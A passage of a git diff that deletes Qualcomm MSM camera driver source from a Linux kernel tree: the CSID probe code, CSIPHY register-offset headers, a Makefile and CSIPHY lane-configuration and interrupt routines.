"qcom,clock-rates", - rates, cnt); - if (rc < 0) { - pr_err("%s:%d, failed", __func__, __LINE__); - return rc; - } - for (i = count; i < cnt; i++) { - ii++; - csid_clk_src_info[ii].clk_rate = rates[i]; - CDBG("%s: clk_rate[%d] = %ld\n", __func__, ii, - csid_clk_src_info[ii].clk_rate); - } - } - return 0; -} - -static int csid_probe(struct platform_device *pdev) -{ - struct csid_device *new_csid_dev; - uint32_t csi_vdd_voltage = 0; - int rc = 0; - new_csid_dev = kzalloc(sizeof(struct csid_device), GFP_KERNEL); - if (!new_csid_dev) { - pr_err("%s: no enough memory\n", __func__); - return -ENOMEM; - } - - new_csid_dev->ctrl_reg = NULL; - new_csid_dev->ctrl_reg = kzalloc(sizeof(struct csid_ctrl_t), - GFP_KERNEL); - if (!new_csid_dev->ctrl_reg) { - pr_err("%s:%d kzalloc failed\n", __func__, __LINE__); - return -ENOMEM; - } - - v4l2_subdev_init(&new_csid_dev->msm_sd.sd, &msm_csid_subdev_ops); - v4l2_set_subdevdata(&new_csid_dev->msm_sd.sd, new_csid_dev); - platform_set_drvdata(pdev, &new_csid_dev->msm_sd.sd); - mutex_init(&new_csid_dev->mutex); - - if (pdev->dev.of_node) { - rc = of_property_read_u32((&pdev->dev)->of_node, - "cell-index", &pdev->id); - if (rc < 0) { - pr_err("%s:%d failed to read cell-index\n", __func__, - __LINE__); - goto csid_no_resource; - } - CDBG("%s device id %d\n", __func__, pdev->id); - - rc = of_property_read_u32((&pdev->dev)->of_node, - "qcom,csi-vdd-voltage", &csi_vdd_voltage); - if (rc < 0) { - pr_err("%s:%d failed to read qcom,csi-vdd-voltage\n", - __func__, __LINE__); - goto csid_no_resource; - } - CDBG("%s:%d reading mipi_csi_vdd is %d\n", __func__, __LINE__, - csi_vdd_voltage); - - csid_vreg_info[0].min_voltage = csi_vdd_voltage; - csid_vreg_info[0].max_voltage = csi_vdd_voltage; - } - - rc = msm_csid_get_clk_info(new_csid_dev, pdev); - if (rc < 0) { - pr_err("%s: msm_csid_get_clk_info() failed", __func__); - return -EFAULT; - } - - - new_csid_dev->mem = platform_get_resource_byname(pdev, - IORESOURCE_MEM, "csid"); - if (!new_csid_dev->mem) { - pr_err("%s: no mem resource?\n", __func__); - rc = -ENODEV; - goto csid_no_resource; - } - new_csid_dev->irq = platform_get_resource_byname(pdev, - IORESOURCE_IRQ, "csid"); - if (!new_csid_dev->irq) { - pr_err("%s: no irq resource?\n", __func__); - rc = -ENODEV; - goto csid_no_resource; - } - new_csid_dev->io = request_mem_region(new_csid_dev->mem->start, - resource_size(new_csid_dev->mem), pdev->name); - if (!new_csid_dev->io) { - pr_err("%s: no valid mem region\n", __func__); - rc = -EBUSY; - goto csid_no_resource; - } - - new_csid_dev->pdev = pdev; - new_csid_dev->msm_sd.sd.internal_ops = &msm_csid_internal_ops; - new_csid_dev->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - snprintf(new_csid_dev->msm_sd.sd.name, - ARRAY_SIZE(new_csid_dev->msm_sd.sd.name), "msm_csid"); - media_entity_init(&new_csid_dev->msm_sd.sd.entity, 0, NULL, 0); - new_csid_dev->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - new_csid_dev->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_CSID; - new_csid_dev->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x5; - msm_sd_register(&new_csid_dev->msm_sd); - - rc = request_irq(new_csid_dev->irq->start, msm_csid_irq, - IRQF_TRIGGER_RISING, "csid", new_csid_dev); - if (rc < 0) { - release_mem_region(new_csid_dev->mem->start, - resource_size(new_csid_dev->mem)); - pr_err("%s: irq request fail\n", __func__); - rc = -EBUSY; - goto csid_no_resource; - } - disable_irq(new_csid_dev->irq->start); - if (rc < 0) { - release_mem_region(new_csid_dev->mem->start, - resource_size(new_csid_dev->mem)); - pr_err("%s Error registering irq ", __func__); - goto csid_no_resource; - } - - if (of_device_is_compatible(new_csid_dev->pdev->dev.of_node, - "qcom,csid-v2.0")) { - new_csid_dev->ctrl_reg->csid_reg = csid_v2_0; - new_csid_dev->hw_dts_version = CSID_VERSION_V20; - } else if (of_device_is_compatible(new_csid_dev->pdev->dev.of_node, - "qcom,csid-v2.2")) { - new_csid_dev->ctrl_reg->csid_reg = csid_v2_2; - new_csid_dev->hw_dts_version = CSID_VERSION_V22; - } else if (of_device_is_compatible(new_csid_dev->pdev->dev.of_node, - "qcom,csid-v3.0")) { - new_csid_dev->ctrl_reg->csid_reg = csid_v3_0; - new_csid_dev->hw_dts_version = CSID_VERSION_V30; - } else if (of_device_is_compatible(new_csid_dev->pdev->dev.of_node, - "qcom,csid-v4.0")) { - new_csid_dev->ctrl_reg->csid_reg = csid_v3_0; - new_csid_dev->hw_dts_version = CSID_VERSION_V40; - } else if (of_device_is_compatible(new_csid_dev->pdev->dev.of_node, - "qcom,csid-v3.1")) { - new_csid_dev->ctrl_reg->csid_reg = csid_v3_1; - new_csid_dev->hw_dts_version = CSID_VERSION_V31; - } else if (of_device_is_compatible(new_csid_dev->pdev->dev.of_node, - "qcom,csid-v3.2")) { - new_csid_dev->ctrl_reg->csid_reg = csid_v3_2; - new_csid_dev->hw_dts_version = CSID_VERSION_V32; - } else { - pr_err("%s:%d, invalid hw version : 0x%x", __func__, __LINE__, - new_csid_dev->hw_dts_version); - return -EINVAL; - } - - new_csid_dev->csid_state = CSID_POWER_DOWN; - return 0; - -csid_no_resource: - mutex_destroy(&new_csid_dev->mutex); - kfree(new_csid_dev->ctrl_reg); - kfree(new_csid_dev); - return 0; -} - -static const struct of_device_id msm_csid_dt_match[] = { - {.compatible = "qcom,csid"}, - {} -}; - -MODULE_DEVICE_TABLE(of, msm_csid_dt_match); - -static struct platform_driver csid_driver = { - .probe = csid_probe, - .driver = { - .name = MSM_CSID_DRV_NAME, - .owner = THIS_MODULE, - .of_match_table = msm_csid_dt_match, - }, -}; - -static int __init msm_csid_init_module(void) -{ - return platform_driver_register(&csid_driver); -} - -static void __exit msm_csid_exit_module(void) -{ - platform_driver_unregister(&csid_driver); -} - -module_init(msm_csid_init_module); -module_exit(msm_csid_exit_module); -MODULE_DESCRIPTION("MSM CSID driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.h deleted file mode 100644 index c2770157b22da..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.h +++ /dev/null @@ -1,92 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CSID_H -#define MSM_CSID_H - -#include -#include -#include -#include -#include -#include "msm_sd.h" - -struct csid_reg_parms_t { -/* MIPI CSID registers */ - uint32_t csid_hw_version_addr; - uint32_t csid_core_ctrl_0_addr; - uint32_t csid_core_ctrl_1_addr; - uint32_t csid_rst_cmd_addr; - uint32_t csid_cid_lut_vc_0_addr; - uint32_t csid_cid_lut_vc_1_addr; - uint32_t csid_cid_lut_vc_2_addr; - uint32_t csid_cid_lut_vc_3_addr; - uint32_t csid_cid_n_cfg_addr; - uint32_t csid_irq_clear_cmd_addr; - uint32_t csid_irq_mask_addr; - uint32_t csid_irq_status_addr; - uint32_t csid_captured_unmapped_long_pkt_hdr_addr; - uint32_t csid_captured_mmaped_long_pkt_hdr_addr; - uint32_t csid_captured_short_pkt_addr; - uint32_t csid_captured_long_pkt_hdr_addr; - uint32_t csid_captured_long_pkt_ftr_addr; - uint32_t csid_pif_misr_dl0_addr; - uint32_t csid_pif_misr_dl1_addr; - uint32_t csid_pif_misr_dl2_addr; - uint32_t csid_pif_misr_dl3_addr; - uint32_t csid_stats_total_pkts_rcvd_addr; - uint32_t csid_stats_ecc_addr; - uint32_t csid_stats_crc_addr; - uint32_t csid_tg_ctrl_addr; - uint32_t csid_tg_vc_cfg_addr; - uint32_t csid_tg_dt_n_cfg_0_addr; - uint32_t csid_tg_dt_n_cfg_1_addr; - uint32_t csid_tg_dt_n_cfg_2_addr; - uint32_t csid_rst_done_irq_bitshift; - uint32_t csid_rst_stb_all; - uint32_t csid_dl_input_sel_shift; - uint32_t csid_phy_sel_shift; - uint32_t csid_version; -}; - -struct csid_ctrl_t { - struct csid_reg_parms_t csid_reg; -}; - -enum msm_csid_state_t { - CSID_POWER_UP, - CSID_POWER_DOWN, -}; - -struct csid_device { - struct platform_device *pdev; - struct msm_sd_subdev msm_sd; - struct resource *mem; - struct resource *irq; - struct resource *io; - struct regulator *csi_vdd; - void __iomem *base; - struct mutex mutex; - struct completion reset_complete; - uint32_t hw_version; - uint32_t hw_dts_version; - enum msm_csid_state_t csid_state; - struct csid_ctrl_t *ctrl_reg; - uint32_t num_clk; - uint32_t num_clk_src_info; - - struct clk *csid_clk[11]; -}; - -#define VIDIOC_MSM_CSID_RELEASE \ - _IOWR('V', BASE_VIDIOC_PRIVATE + 5, struct v4l2_subdev*) -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/Makefile deleted file mode 100644 index 8fcf4269e28fc..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/Makefile +++ /dev/null @@ -1,3 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io -obj-$(CONFIG_MSM_CSIPHY) += msm_csiphy.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_0_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_0_hwreg.h deleted file mode 100644 index 3b9213c4ca283..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_0_hwreg.h +++ /dev/null @@ -1,46 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CSIPHY_2_0_HWREG_H -#define MSM_CSIPHY_2_0_HWREG_H - -#include - -struct csiphy_reg_parms_t csiphy_v2_0 = { - /*MIPI CSI PHY registers*/ - 0x17C, - 0x0, - 0x4, - 0x8, - 0xC, - 0x10, - 0x100, - 0x104, - 0x108, - 0x10C, - 0x110, - 0x128, - 0x140, - 0x144, - 0x164, - 0x180, - 0x1A0, - 0x6F, - 0x1A4, - 0x1C0, - 0x1C4, - 0x4, - 0x1E0, - 0x1E8, - 0x0, -}; -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_2_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_2_hwreg.h deleted file mode 100644 index 7ed88c564c5a9..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_2_hwreg.h +++ /dev/null @@ -1,46 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CSIPHY_2_2_HWREG_H -#define MSM_CSIPHY_2_2_HWREG_H - -#include - -struct csiphy_reg_parms_t csiphy_v2_2 = { - /*MIPI CSI PHY registers*/ - 0x17C, - 0x0, - 0x4, - 0x8, - 0xC, - 0x10, - 0x100, - 0x104, - 0x108, - 0x10C, - 0x110, - 0x128, - 0x140, - 0x144, - 0x164, - 0x180, - 0x1A0, - 0x6F, - 0x1A4, - 0x1C0, - 0x1C4, - 0x4, - 0x1E0, - 0x1E8, - 0x1, -}; -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_0_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_0_hwreg.h deleted file mode 100644 index 238fef0f4d5a3..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_0_hwreg.h +++ /dev/null @@ -1,46 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CSIPHY_3_0_HWREG_H -#define MSM_CSIPHY_3_0_HWREG_H - -#include - -struct csiphy_reg_parms_t csiphy_v3_0 = { - /*MIPI CSI PHY registers*/ - 0x0, - 0x4, - 0x8, - 0xC, - 0x10, - 0x100, - 0x104, - 0x108, - 0x10C, - 0x110, - 0x128, - 0x140, - 0x144, - 0x164, - 0x188, - 0x18C, - 0x1AC, - 0x3F, - 0x1AC, - 0x1CC, - 0x1CC, - 0x4, - 0x1EC, - 0x1F4, - 0x10, -}; -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h deleted file mode 100644 index f1e4e0d9f6990..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h +++ /dev/null @@ -1,48 +0,0 @@ -/* Copyright (c) 2014-2015, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CSIPHY_3_1_HWREG_H -#define MSM_CSIPHY_3_1_HWREG_H - -#include - -#define MIPI_CSIPHY_GLBL_PWG_CFG0_OFFSET 0x1FC - -struct csiphy_reg_parms_t csiphy_v3_1 = { - /*MIPI CSI PHY registers*/ - 0x0, - 0x4, - 0x8, - 0xC, - 0x10, - 0x100, - 0x104, - 0x108, - 0x10C, - 0x110, - 0x128, - 0x140, - 0x144, - 0x164, - 0x188, - 0x18C, - 0x1AC, - 0x3F, - 0x1AC, - 0x1CC, - 0x1CC, - 0x4, - 0x1EC, - 0x1F4, - 0x31, -}; -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_2_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_2_hwreg.h deleted file mode 100644 index 77129f08c8c20..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_2_hwreg.h +++ /dev/null @@ -1,46 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CSIPHY_3_2_HWREG_H -#define MSM_CSIPHY_3_2_HWREG_H - -#include - -struct csiphy_reg_parms_t csiphy_v3_2 = { - /*MIPI CSI PHY registers*/ - 0x0, - 0x4, - 0x8, - 0xC, - 0x10, - 0x100, - 0x104, - 0x108, - 0x10C, - 0x110, - 0x128, - 0x140, - 0x144, - 0x164, - 0x188, - 0x18C, - 0x1AC, - 0x3F, - 0x1AC, - 0x1CC, - 0x1CC, - 0x4, - 0x1EC, - 0x1F4, - 0x32, -}; -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.c deleted file mode 100644 index 5eb134b3f9229..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.c +++ /dev/null @@ -1,887 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include "msm_csiphy.h" -#include "msm_sd.h" -#include "msm_camera_io_util.h" -#include "include/msm_csiphy_2_0_hwreg.h" -#include "include/msm_csiphy_2_2_hwreg.h" -#include "include/msm_csiphy_3_0_hwreg.h" -#include "include/msm_csiphy_3_1_hwreg.h" -#include "include/msm_csiphy_3_2_hwreg.h" - -#define DBG_CSIPHY 0 -#define SOC_REVISION_3 0x30000 - -#define V4L2_IDENT_CSIPHY 50003 -#define CSIPHY_VERSION_V22 0x01 -#define CSIPHY_VERSION_V20 0x00 -#define CSIPHY_VERSION_V30 0x10 -#define CSIPHY_VERSION_V31 0x31 -#define CSIPHY_VERSION_V32 0x32 -#define MSM_CSIPHY_DRV_NAME "msm_csiphy" - -#define CSIPHY_NUM_CLK_MAX 16 - -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif -static struct msm_cam_clk_info csiphy_clk_info[CSIPHY_NUM_CLK_MAX]; -uint32_t is_3_1_rev3 = 0; - -static int msm_csiphy_lane_config(struct csiphy_device *csiphy_dev, - struct msm_camera_csiphy_params *csiphy_params) -{ - int rc = 0; - int j = 0; - uint32_t val = 0; - uint8_t lane_cnt = 0; - uint16_t lane_mask = 0; - void __iomem *csiphybase; - uint8_t csiphy_id = csiphy_dev->pdev->id; - csiphybase = csiphy_dev->base; - if (!csiphybase) { - pr_err("%s: csiphybase NULL\n", __func__); - return -EINVAL; - } - - csiphy_dev->lane_mask[csiphy_id] |= csiphy_params->lane_mask; - lane_mask = csiphy_dev->lane_mask[csiphy_id]; - lane_cnt = csiphy_params->lane_cnt; - if (csiphy_params->lane_cnt < 1 || csiphy_params->lane_cnt > 4) { - pr_err("%s: unsupported lane cnt %d\n", - __func__, csiphy_params->lane_cnt); - return rc; - } - - CDBG("%s csiphy_params, mask = 0x%x cnt = %d\n", - __func__, - csiphy_params->lane_mask, - csiphy_params->lane_cnt); - CDBG("%s csiphy_params, settle cnt = 0x%x csid %d\n", - __func__, csiphy_params->settle_cnt, - csiphy_params->csid_core); - - if (csiphy_dev->hw_version >= CSIPHY_VERSION_V30) { - val = msm_camera_io_r(csiphy_dev->clk_mux_base); - if (csiphy_params->combo_mode && - (csiphy_params->lane_mask & 0x18)) { - val &= ~0xf0; - val |= csiphy_params->csid_core << 4; - } else { - val &= ~0xf; - val |= csiphy_params->csid_core; - } - msm_camera_io_w(val, csiphy_dev->clk_mux_base); - CDBG("%s clk mux addr %p val 0x%x\n", __func__, - csiphy_dev->clk_mux_base, val); - mb(); - } - msm_camera_io_w(0x1, csiphybase + csiphy_dev->ctrl_reg-> - csiphy_reg.mipi_csiphy_glbl_t_init_cfg0_addr); - msm_camera_io_w(0x1, csiphybase + csiphy_dev->ctrl_reg-> - csiphy_reg.mipi_csiphy_t_wakeup_cfg0_addr); - - if (csiphy_dev->hw_version < CSIPHY_VERSION_V30) { - val = 0x3; - msm_camera_io_w((lane_mask << 2) | val, - csiphybase + - csiphy_dev->ctrl_reg-> - csiphy_reg.mipi_csiphy_glbl_pwr_cfg_addr); - msm_camera_io_w(0x10, csiphybase + - csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_lnck_cfg2_addr); - msm_camera_io_w(csiphy_params->settle_cnt, - csiphybase + - csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_lnck_cfg3_addr); - msm_camera_io_w(0x24, - csiphybase + csiphy_dev->ctrl_reg-> - csiphy_reg.mipi_csiphy_interrupt_mask0_addr); - msm_camera_io_w(0x24, - csiphybase + csiphy_dev->ctrl_reg-> - csiphy_reg.mipi_csiphy_interrupt_clear0_addr); - } else { - if ((csiphy_dev->hw_version == CSIPHY_VERSION_V31) && - is_3_1_rev3) { - msm_camera_io_w(0x01, csiphybase + - MIPI_CSIPHY_GLBL_PWG_CFG0_OFFSET); - } - val = 0x1; - msm_camera_io_w((lane_mask << 1) | val, - csiphybase + - csiphy_dev->ctrl_reg-> - csiphy_reg.mipi_csiphy_glbl_pwr_cfg_addr); - msm_camera_io_w(csiphy_params->combo_mode << - csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_mode_config_shift, - csiphybase + - csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_glbl_reset_addr); - } - - lane_mask &= 0x1f; - while (lane_mask & 0x1f) { - if (!(lane_mask & 0x1)) { - j++; - lane_mask >>= 1; - continue; - } - msm_camera_io_w(0x10, - csiphybase + csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_lnn_cfg2_addr + 0x40*j); - msm_camera_io_w(csiphy_params->settle_cnt, - csiphybase + csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_lnn_cfg3_addr + 0x40*j); - msm_camera_io_w(csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_interrupt_mask_val, csiphybase + - csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_interrupt_mask_addr + 0x4*j); - msm_camera_io_w(csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_interrupt_mask_val, csiphybase + - csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_interrupt_clear_addr + 0x4*j); - j++; - lane_mask >>= 1; - } - return rc; -} - -static irqreturn_t msm_csiphy_irq(int irq_num, void *data) -{ - uint32_t irq; - int i; - struct csiphy_device *csiphy_dev = data; - - for (i = 0; i < 8; i++) { - irq = msm_camera_io_r( - csiphy_dev->base + - csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_interrupt_status0_addr + 0x4*i); - msm_camera_io_w(irq, - csiphy_dev->base + - csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_interrupt_clear0_addr + 0x4*i); - pr_err("%s MIPI_CSIPHY%d_INTERRUPT_STATUS%d = 0x%x\n", - __func__, csiphy_dev->pdev->id, i, irq); - msm_camera_io_w(0x1, csiphy_dev->base + - csiphy_dev->ctrl_reg-> - csiphy_reg.mipi_csiphy_glbl_irq_cmd_addr); - msm_camera_io_w(0x0, csiphy_dev->base + - csiphy_dev->ctrl_reg-> - csiphy_reg.mipi_csiphy_glbl_irq_cmd_addr); - msm_camera_io_w(0x0, - csiphy_dev->base + - csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_interrupt_clear0_addr + 0x4*i); - } - return IRQ_HANDLED; -} - -static void msm_csiphy_reset(struct csiphy_device *csiphy_dev) -{ - msm_camera_io_w(0x1, csiphy_dev->base + - csiphy_dev->ctrl_reg->csiphy_reg.mipi_csiphy_glbl_reset_addr); - usleep_range(5000, 8000); - msm_camera_io_w(0x0, csiphy_dev->base + - csiphy_dev->ctrl_reg->csiphy_reg.mipi_csiphy_glbl_reset_addr); -} - -static int msm_csiphy_subdev_g_chip_ident(struct v4l2_subdev *sd, - struct v4l2_dbg_chip_ident *chip) -{ - BUG_ON(!chip); - chip->ident = V4L2_IDENT_CSIPHY; - chip->revision = 0; - return 0; -} - -#if DBG_CSIPHY -static int msm_csiphy_init(struct csiphy_device *csiphy_dev) -{ - int rc = 0; - if (csiphy_dev == NULL) { - pr_err("%s: csiphy_dev NULL\n", __func__); - rc = -ENOMEM; - return rc; - } - - CDBG("%s:%d called\n", __func__, __LINE__); - if (csiphy_dev->csiphy_state == CSIPHY_POWER_UP) { - pr_err("%s: csiphy invalid state %d\n", __func__, - csiphy_dev->csiphy_state); - rc = -EINVAL; - return rc; - } - CDBG("%s:%d called\n", __func__, __LINE__); - - if (csiphy_dev->ref_count++) { - CDBG("%s csiphy refcount = %d\n", __func__, - csiphy_dev->ref_count); - return rc; - } - CDBG("%s:%d called\n", __func__, __LINE__); - - csiphy_dev->base = ioremap(csiphy_dev->mem->start, - resource_size(csiphy_dev->mem)); - if (!csiphy_dev->base) { - pr_err("%s: csiphy_dev->base NULL\n", __func__); - csiphy_dev->ref_count--; - rc = -ENOMEM; - return rc; - } - CDBG("%s:%d called\n", __func__, __LINE__); - - if (csiphy_dev->hw_dts_version < CSIPHY_VERSION_V30) { - rc = msm_cam_clk_enable(&csiphy_dev->pdev->dev, - csiphy_clk_info, csiphy_dev->csiphy_clk, - csiphy_dev->num_clk, 1); - } else if (csiphy_dev->hw_dts_version >= CSIPHY_VERSION_V30) { - if (!csiphy_dev->clk_mux_mem || !csiphy_dev->clk_mux_io) { - pr_err("%s clk mux mem %p io %p\n", __func__, - csiphy_dev->clk_mux_mem, - csiphy_dev->clk_mux_io); - rc = -ENOMEM; - return rc; - } - csiphy_dev->clk_mux_base = ioremap( - csiphy_dev->clk_mux_mem->start, - resource_size(csiphy_dev->clk_mux_mem)); - if (!csiphy_dev->clk_mux_base) { - pr_err("%s: ERROR %d\n", __func__, __LINE__); - rc = -ENOMEM; - return rc; - } - - CDBG("%s:%d called\n", __func__, __LINE__); - rc = msm_cam_clk_enable(&csiphy_dev->pdev->dev, - csiphy_clk_info, csiphy_dev->csiphy_clk, - csiphy_dev->num_clk, 1); - } else { - pr_err("%s: ERROR Invalid CSIPHY Version %d", - __func__, __LINE__); - rc = -EINVAL; - return rc; - } - - CDBG("%s:%d called\n", __func__, __LINE__); - if (rc < 0) { - pr_err("%s: csiphy clk enable failed\n", __func__); - csiphy_dev->ref_count--; - iounmap(csiphy_dev->base); - csiphy_dev->base = NULL; - return rc; - } - CDBG("%s:%d called\n", __func__, __LINE__); - - enable_irq(csiphy_dev->irq->start); - - msm_csiphy_reset(csiphy_dev); - - CDBG("%s:%d called\n", __func__, __LINE__); - - if (csiphy_dev->hw_dts_version == CSIPHY_VERSION_V30) - csiphy_dev->hw_version = - msm_camera_io_r(csiphy_dev->base + - csiphy_dev->ctrl_reg-> - csiphy_reg.mipi_csiphy_hw_version_addr); - else - csiphy_dev->hw_version = csiphy_dev->hw_dts_version; - - CDBG("%s:%d called csiphy_dev->hw_version 0x%x\n", __func__, __LINE__, - csiphy_dev->hw_version); - csiphy_dev->csiphy_state = CSIPHY_POWER_UP; - return 0; -} -#else -static int msm_csiphy_init(struct csiphy_device *csiphy_dev) -{ - int rc = 0; - if (csiphy_dev == NULL) { - pr_err("%s: csiphy_dev NULL\n", __func__); - rc = -ENOMEM; - return rc; - } - - CDBG("%s:%d called\n", __func__, __LINE__); - if (csiphy_dev->csiphy_state == CSIPHY_POWER_UP) { - pr_err("%s: csiphy invalid state %d\n", __func__, - csiphy_dev->csiphy_state); - rc = -EINVAL; - return rc; - } - CDBG("%s:%d called\n", __func__, __LINE__); - - if (csiphy_dev->ref_count++) { - CDBG("%s csiphy refcount = %d\n", __func__, - csiphy_dev->ref_count); - return rc; - } - CDBG("%s:%d called\n", __func__, __LINE__); - - csiphy_dev->base = ioremap(csiphy_dev->mem->start, - resource_size(csiphy_dev->mem)); - if (!csiphy_dev->base) { - pr_err("%s: csiphy_dev->base NULL\n", __func__); - csiphy_dev->ref_count--; - rc = -ENOMEM; - return rc; - } - if (csiphy_dev->hw_dts_version <= CSIPHY_VERSION_V22) { - CDBG("%s:%d called\n", __func__, __LINE__); - rc = msm_cam_clk_enable(&csiphy_dev->pdev->dev, - csiphy_clk_info, csiphy_dev->csiphy_clk, - csiphy_dev->num_clk, 1); - } else if (csiphy_dev->hw_dts_version >= CSIPHY_VERSION_V30) { - if (!csiphy_dev->clk_mux_mem || !csiphy_dev->clk_mux_io) { - pr_err("%s clk mux mem %p io %p\n", __func__, - csiphy_dev->clk_mux_mem, - csiphy_dev->clk_mux_io); - rc = -ENOMEM; - return rc; - } - csiphy_dev->clk_mux_base = ioremap( - csiphy_dev->clk_mux_mem->start, - resource_size(csiphy_dev->clk_mux_mem)); - if (!csiphy_dev->clk_mux_base) { - pr_err("%s: ERROR %d\n", __func__, __LINE__); - rc = -ENOMEM; - return rc; - } - CDBG("%s:%d called\n", __func__, __LINE__); - rc = msm_cam_clk_enable(&csiphy_dev->pdev->dev, - csiphy_clk_info, csiphy_dev->csiphy_clk, - csiphy_dev->num_clk, 1); - } else { - pr_err("%s: ERROR Invalid CSIPHY Version 